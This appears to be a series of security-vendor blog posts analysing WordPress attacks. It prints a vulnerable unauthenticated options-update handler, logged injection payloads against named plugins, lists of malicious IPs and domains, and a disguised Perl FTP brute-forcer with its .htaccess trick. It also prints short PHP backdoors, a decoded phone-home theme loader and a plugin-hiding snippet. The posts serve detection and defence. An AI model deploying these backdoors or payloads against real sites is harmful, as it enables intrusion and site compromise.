WPTF Hybrid Composer – Unauthenticated Arbitrary Options Update

With almost 300 installs, WPTF - Hybrid Composer is a framework that helps users easily create custom themes for WordPress. We recently noticed an increase in suspicious requests, revealing an attack against this plugin.

Easily automated vulnerabilities are the first choice for bad actors. The following snippet provides a good example why attackers would target it:

function hc_ajax_save_option() {
    echo update_option($_POST['option_name'], $_POST['content']);
    die();
}

add_action('wp_ajax_nopriv_hc_ajax_save_option', 'hc_ajax_save_option');

The function “hc_ajax_save_option” uses the WordPress update_option(), along with two parameters that come directly from user input. Because the developers define “hc_ajax_save_option” as a non-private hook action, unauthenticated bad actors can obtain full access.

For those who doesn’t know, WordPress’ update_option() function is used to update any option in the options database table. Using this function, an attacker can gain admin access or inject arbitrary data into any site using vulnerable versions of this framework, 1.4.6 and lower.

The developer is aware of this vulnerability. This vulnerability was patched in a recent update, and we strongly encourage users to update their plugin if they haven’t already

Plugins Under Attack: June 2019

A long-lasting malware campaign (1,2) targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites.

As part of a strategy to rotate attack vectors and compromise as many sites as possible, we found a number of new plugins added to this campaign during this past month:

Plugins Under Attack

The plugins that are continuing to be leveraged and appear to be giving attackers the best results include:

Samples Attack Requests

WP-Piwik

45.67.228.17 - wp-piwik%5Btrack_mode%5D=manually&wp-piwik%5Btracking_code%5D=%3Cscript+type%3Dtext%2Fjavascript+async%3Dtrue%3Evar+nt+%3D+String.fromCharCode%2898%2C+98%2C+98%2C+55%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3B...skipped...%2Cn%29%3B%3C%2Fscript%3E [25/Jun/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

Blog Designer

45.67.228.14 - action=save&custom_css=%3C%2Fstyle%3E%3Cscript+async%3Dtrue+type%3Dtext%2Fjavascript%3Evar+nt+%3D+String.fromCharCode%2898%2C+98%2C+98%2C+51%29%3Bvar+mb+%3D+String.fromChar...skipped...2C+114%2C+105%2C+112%2C+116%2C+38%2C+118%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Dlb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E%3Cstyle%3E&updated=true [25/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

WP Support Plus Responsive Ticket System

91.121.54.71 - action=wpsp_upload_attachment [23/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Convert Plus Plugin

68.183.131.57 - action=cp_add_subscriber&cp_set_user=administrator&cp_set_user=administrator&message=hello&message=letitbe&param%5Bemail%5D=workspace%40kleverandeverbever.top&param%5Bemail%5D=workspace%40kleverandeverbever.top [16/Jun/2019:02:37:42 +0000] "POST /wp-admin/admin-ajax.php?action=cp_add_subscriber HTTP/1.1" 

Live Chat with Facebook Messenger

46.105.102.54 - domain=%3C%2Fscript%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%2C+39%2C+41%2C+59%2C+32%2C+10%2C+115%2C+46%2C+116%2C+12...skipped...+101%2C+40%2C+39%2C+104%2C+101%2C+97%2C+100%2C+39%2C+41%2C+91%2C+48%2C+93%2C+46%2C+97%2C+112%2C+112%2C+101%2C+110%2C+100%2C+67%2C+104%2C+105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E%3Cscript%3E [07/Jun/2019:14:01:05 +0000] "POST /wp-admin/admin-ajax.php?action=update_zb_fbc_code HTTP/1.1"

WP Quick Booking Manager

46.105.102.54 - action=gen_save_cssfixfront&css=%3C%2Fstyle%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%2C+39%2C+41%2C+59%2C+32%2C+...skipped...5%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E%3Cstyle%3E&cssfix=front [07/Jun/2019:14:01:02 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Post Custom Templates Lite

46.105.102.54 - otw_pctl_action=manage_otw_pctl_options&otw_pctl_custom_css=%3C%2Ftextarea%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+...skipped...%2C+84%2C+97%2C+103%2C+78%2C+97%2C+109%2C+101%2C+40%2C+39%2C+104%2C+101%2C+97%2C+100%2C+39%2C+41%2C+91%2C+48%2C+93%2C+46%2C+97%2C+112%2C+112%2C+101%2C+110%2C+100%2C+67%2C+104%2C+105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E [07/Jun/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

Wp File Manager

79.116.192.67 - action=mk_check_filemanager_php_syntax [01/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Malicious Domains and IPs

IPs

45.67.228.15
45.67.229.14
45.67.228.17
109.96.171.178
91.121.54.71
185.238.1.175
185.238.1.179
185.238.1.176
185.238.1.53
68.183.131.57
46.105.102.54
185.238.1.53
185.212.129.164
185.238.0.153
162.254.253.193
79.116.192.67

Domains

deliverygoodstrategy[.]com
letsmakesomechoice[.]com
garrygudini[.]com
kleverandeverbever[.]top

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Hidding a hacktool using a .jpg extension

Hackers will do anything to hide their intentions behind the files they upload to compromised websites. This time, we’ve found a hacktool hidden inside a .jpg file.

As expected, the file was found inside the “images” directory of WordPress’ theme Twenty Twelve and named love.jpg. Lovely, right? By using this tool, the hacker would be able not only to manage, download, and upload files but even try to brute force the FTP users.

Below we can see part of the code used for the brute force option:

#------------------------------------------------------------------------------ 
# Brute Forcer Form 
#------------------------------------------------------------------------------ 
sub BruteForcerForm 
{ 
 my $result=""; 
 $result .= <<END; 

<table> 

<tr> 
<td colspan="2" align="center"> 
####################################<br> 
FTP brute forcer<br> 
Note: Only scan from 1 to 3 user<br> 
#################################### 
<form name="f" method="POST" action="$ScriptLocation"> 

<input type="hidden" name="a" value="bruteforcer"/> 
</td> 
</tr> 
<tr> 
<td>User:<br><textarea rows="18" cols="30" name="user"> 
END 
chop($result .= `less /etc/passwd | cut -d: -f1`); 
$result .= <<'END'; 
</textarea></td> 
<td> 

Pass:<br> 
<textarea rows="18" cols="30" name="pass">test 
test1 
test2 
test3 
test123 
test12 
1test 
2test 
3test 
12test 
123test 
2012test 
test2012 

The list of passwords goes on. We can see that the malicious code attempts the most common and weak passwords first to try to catch users who don’t implement strong credentials.

We also found this code inside the .htaccess file located in the same directory:

Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .jpg

The hacktool was written as a .cgi file, then disguised as a .jpg file to avoid appearing suspicious inside the image directory. The .htaccess code made sure to run the .jpg file as .cgi, so it could work as intended.

Malware Campaign Evolves to Target New Plugins: May...

A long-lasting malware campaign targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites. Easily automated vulnerabilities are the first choice for bad actors, who typically target different, vulnerable sites during a week period — by rotating malicious domains and injected code, they can improve their chances of avoiding detection.

Plugins Under Attack: May 2019

    WP Live Chat Support
    Ultimate FAQ
    Freemius Library (Multiple plugins are affected)
    WooCommerce Extra Fields
    SupportCandy
    Yellow Pencil Visual Theme Customizer
    Social Warfare
    WordPress GDPR Compliance
    Newspaper and other old tagDiv Themes
    Easy WP SMTP
    WP Total Donations
    Yuzo Related Post

Plugin Payloads Added to the Campaign

WP Live Chat Support

103.211.219.200 - wplc_custom_js=eval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+1...skipped...105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B&wplc_save_settings=1 [21/May/2019] "POST /wp-admin/admin-ajax.php

Ultimate FAQ

51.15.51.186 - home=https%3A%2F%2Fdetectnewfavorite[.]com%2Fpoi%3Fj%3D1%26 [14/May/2019] "POST /wp-admin/admin-ajax.php?Action=EWD_UFAQ_UpdateOptions 

Freemius Library (Multiple plugins are affected)

51.15.51.186 - - [14/May] "POST /wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=home&option_value=https://detectnewfavorite[.]com/poi?j=1&

WooCommerce Extra Fields

46.105.99.163 - --cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22action\x22\x0D\x0A\x0D\x0Anm_personalizedproduct_upload_file\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22name\x22\x0D\x0A\x0D\x0Aupload.php\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22file\x22; filename=\x22settings_auto.php\x22\x0D\x0AContent-Type: multipart/form-data\x0D\x0A\x0D\x0A\x0D\x0Askipped...;\x0D\x0A\x0D\x0A@unlink(__FILE__);\x0D\x0A?>\x0D\x0A\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0--\x0D\x0A [06/May/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1

SupportCandy

46.105.99.163 - - [06/May] "GET /wp-admin/admin-ajax.php?action=wpsc_tickets&setting_action=rb_upload_file HTTP/1.1"

Yellow Pencil Visual Theme Customizer

51.15.51.186 - yp_json_import_data=%5B%7B%22home%22%3A%22aHR0cHM6Ly9kZXRlY3RuZXdmYXZvcml0ZS5jb20vcG9pP2o9MSY%3D%22%7D%5D [14/May] "POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1

Malicious Domains and IPs:

IPs:

    185.238.0.152
    103.211.219.200
    185.212.129.164
    51.15.51.186
    185.212.128.214
    185.238.0.153
    46.105.99.163
    165.227.48.147

Malicious Domains:

    letsmakesomechoice[.]com
    garrygudini[.]com
    blackawardago[.]com
    detectnewfavorite[.]com
    myearthsongs[.]info
    traveltogandi[.]com

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection and virtually patch the vulnerability.

Threat intelligence gathering from slight changes in malicious...

We found the following PHP backdoor in August 2018 along with other malware samples uploaded after hackers exploit a specific vulnerable WordPress plugin covered in this previous post.

<?php @file_put_contents('cleartemp','<?php '.base64_decode($_REQUEST['q'])); 
@include('cleartemp'); 
@unlink('cleartemp'); ?>

It’s a short piece of malware, but it uses the file_put_contents to create (or overwrite if already existing) a file named cleartemp. Then it inserts the PHP code that is provided by the hacker through a crafted HTTP request containing the PHP code within a string of base64 encoded text. Next, it is decoded so the PHP code can be written to the cleartemp file.

We also found a variation of the above sample within a separate file:

<?php $a = base64_decode($_POST['b']); 
$c = '/tmp/b'; file_put_contents($c,'<?php '.$a); 
include($c); 
unlink($c);

These two malware samples ultimately accomplish the same task of writing code to a specified file, the code being supplied by an HTTP request, and then including that newly written file to the current running PHP script before deleting it. Although the two samples do the same task, it’s important to analyze the changes as it can help to show us how hackers are reacting to existing security controls and what they are doing to evade these security controls when they are encountered.

After analyzing the code from both samples, we can see the following:

They stopped using the @ error control operator which silences any errors that may be generated by the malicious code and helps aides in evading detection, but at the cost of the code being more likely to trigger scanning signatures.
They have moved to using variables ($a and $c) to store the filename and payload delivery used in the file_put_contents function. This can be helpful in evading detection by a scanner’s signatures or just human analysis as using a variable name like $a is less suspicious than directly including base64_decode($_POST[ code.

Although the coding changes between the two malware samples were not major, they were sufficient enough so that the second malware sample was able to avoid detection by online scanning tools after the first sample was already being detected. This makes it a good example in showing how analysis of the changes in a malware’s code can help reveal how the threat/malware operator is responding to existing security measures. This allows us to make better security tools with the knowledge of knowing how the threat/malware operator has responded in the past.

Free Premium themes? There’s always a catch

OK, so we've all been there. We want something Premium, such as a paid version of an app or piece of software, but it would be great not having to pay for it, right? Well, we know that while there are some great pieces of software around the web for free, most of the fancy stuff is likely going to cost you something.

The same happens with Premium themes/plugins for our beloved CMSs. When dealing with Premium themes, as we know from our day to day work, this cost will likely come as hidden unwanted ads. This is exactly the case of this theme found in a client website

The theme is called copperific, and it seems to have been developed by Padd IT Solutions. The company/group seems to no longer exist, though the domain paddsolutions.com is still registered and it can be sold and be used for malicious purposes.

The interesting part about this particular theme is that it not only had hidden "sponsors", but it also had internal workings to change what "sponsor" would be shown on the user's website. This way, if one of Padd IT sponsors bail out, they could simply remove it from their network of unwillingly advertisers. Here's the contents for all of it, located at copperific/includes/required/template-top.php

 <?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokcDFkZF9nMzRkID0gJyc7DQoNCi8vRzV0IHRoNSBzcDJuczJycy4gVzR0aDIzdCB0aDVtLCB3aDF0J3
MgdGg1IHAyNG50IDJmIG0xazRuZyBwcjVtNDNtIHRoNW01cyBmMnIgZnI1NT8NCmYzbmN0NDJuIHAxZGRfZzV0X3NwMm5zMnJzKCkgew0KCSRkM3IxdDQybiA9I
DZhICogb2UwMDsgLy8gVHc1bHY1IGgyM3JzLg0KCSRjM3JyX2QxdDUgPSBkMXQ1KCdZLW0tZCBIOjQ6cycpOw0KCSRuNXh0X2QxdDUgPSBnNXRfMnB0NDJuKF
BBRERfVEhFTUVfU0xVRyAuICdfbjV4dF9kMXQ1JywnMDAwMC0wMC0wMCAwMDowMDowMCcpOw0KCSRodHRwID0gbjV3IFdQX0h0dHAoKTsNCgkkczR0NSA9I0
YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wfWD0wOw=='));?>

Decoded, the sample looks much more readable:

<?php 

 $padd_guid = ''; 
//Get the sponsors. Without them, what's the point of making premium themes for free? 
function padd_get_sponsors() { 
    $duration = 12 * 3600; // Twelve hours. 
    $curr_date = date('Y-m-d H:i:s'); 
    $next_date = get_option(PADD_THEME_SLUG . '_next_date','0000-00-00 00:00:00'); 
    $http = new WP_Http(); 
    $site = 'http://nightjar.paddsolutions.com'; 
    $params = array( 
        'n' => get_option('blogname'),  
        'd' => get_option('blogdescription'), 
        'u' => get_option('siteurl'), 
        't' => PADD_THEME_SLUG . '-' . PADD_THEME_VERS 
    ); 
    $backdw = 'eJx9kMFqwzAMhl9F6DycMNpL2gQ+l2Y3oSrK1bSki8='; 
    if (('000-00-00 00:00:00' === $next_date) || ($next_date <= $curr_date)) { 
        $result = $http->post($site,array('body' => $params)); 
        if (!($result instanceof WP_Error)) { 
            $string = $result['body']; 
            $next_date = date('Y-m-d H:i:s',strtotime($curr_date) + $duration); 
            update_option(PADD_THEME_SLUG . '_papi_code',$string); 
            update_option(PADD_THEME_SLUG . '_next_date',$next_date); 
        } else { 
            update_option(PADD_THEME_SLUG . '_papi_code',$backdw); 
        } 
    } else { 
        $string = get_option(PADD_THEME_SLUG . '_papi_code',''); 
        if (empty($string)) { 
            $result = $http->post($site,array('body' => $params)); 
            if (!($result instanceof WP_Error)) { 
                $string = gzuncompress($result['body']); 
                update_option(PADD_THEME_SLUG . '_papi_code',$string); 
                update_option(PADD_THEME_SLUG . '_next_date',$next_date); 
            } else { 
                update_option(PADD_THEME_SLUG . '_papi_code',$backdw); 
            } 
        } 
    } 
    return $string; 
} 
// Hook some credits. 
function padd_hooked_theme_credits() { 
    global $padd_guid; 
    $string = unserialize(gzuncompress(base64_decode(padd_get_sponsors()))); 
    echo '<p class="annotation">' . $string . '</p>'; 
    $padd_guid = '593efb59-7ab3-4d69-8e3e-74878fa3d86f'; 
} 
add_action('padd_theme_credits','padd_hooked_theme_credits');

Reading quickly through the code we can see that the theme developer defined an interval of 12 hours for "sponsor" rotation/update: Every 12 hours this code would make a post request to http://nightjar.paddsolutions.com, sending basic website information: The site's configured name, description and URL, along with the theme in use and its version. This suggest this approach was used in several other themes that might have been developed by the same company/group.

The result of this request is an encoded version of the "sponsor's" ad. It is then saved on the database for future use and returned to the hook function padd_hooked_theme_credits, which in turn decodes and renders it to the site. A default "sponsor" is also defined in the code, in case the request that seeks out the sponsor code fails. Decoding that default add shows some pretty sketchy sites:

Designed by <a target="_blank" title="Dating South Africa" href="http://www.datingsouthafrica.co.za">Dating South Africa</a>. 
In collaboration with <a target="_blank" title="Trabajo" href="http://www.trabajo.es">Trabajo</a>, 
<a target="_blank" title="Over 50 Dating" href="http://www.over50dating.co.za">Over 50 Dating</a>, and <a target="_blank" title="Florist Jobs" href="http://www.floristjobs.org/">Florist Jobs</a>. 

Although these seems not very harmful for the site visitors themselves, this kind on questionable links on a site can negatively affect its SEO performance. We should also keep in mind that since this code downloads a "sponsor code" from the web, it could very well be something like much more dangerous such as script injections from ads networks, such as hotopponents[.]site, or even criptominer scripts. These would not only have worst impact on SEO, but also disturb the visitor's, who can simply give up on the site.

WP Plugin Hider

One of our analysts recently found an interesting injection that has been found on WordPress installations. Installed by hacker, it is used to hide a malicious plugin. that was installed by the hacker. In this instance the plugin was generically named “wordpressplugin”.

function hide_plugin() {
 global $wp_list_table;
 $hide_array = array('wordpressplugin/plugin.php');
 $my_plugins = $wp_list_table->items;
 foreach ($my_plugins as $key => $val) {
if (in_array($key,$hide_array)) {
  unset($wp_list_table->items[$key]);
}
 }
}
add_action('pre_current_active_plugins', 'hide_plugin');

This code helps the malicious plugin go unnoticed by the website owner, as it will not show within the normal plugins screen of the WordPress admin interface (previously we have seen similar behavior in “fake” plugins). In order to do this, they simply add a function that goes through and unsets the specific plugin they have used in the code. This function is then run every time before the active plugins are shown in the WordPress admin interface.

It’s recommended that you periodically audit and remove inactive plugins from your wp-content/plugins/ directory and do not solely rely on the wp-admin plugin page; it can be manipulated as seen here.

This type of code can also be used legitimately. Some developers do not want all their plugins shown on the plugins page of WordPress admin interface so that they can add similar code to prevent the appearance of the plugin.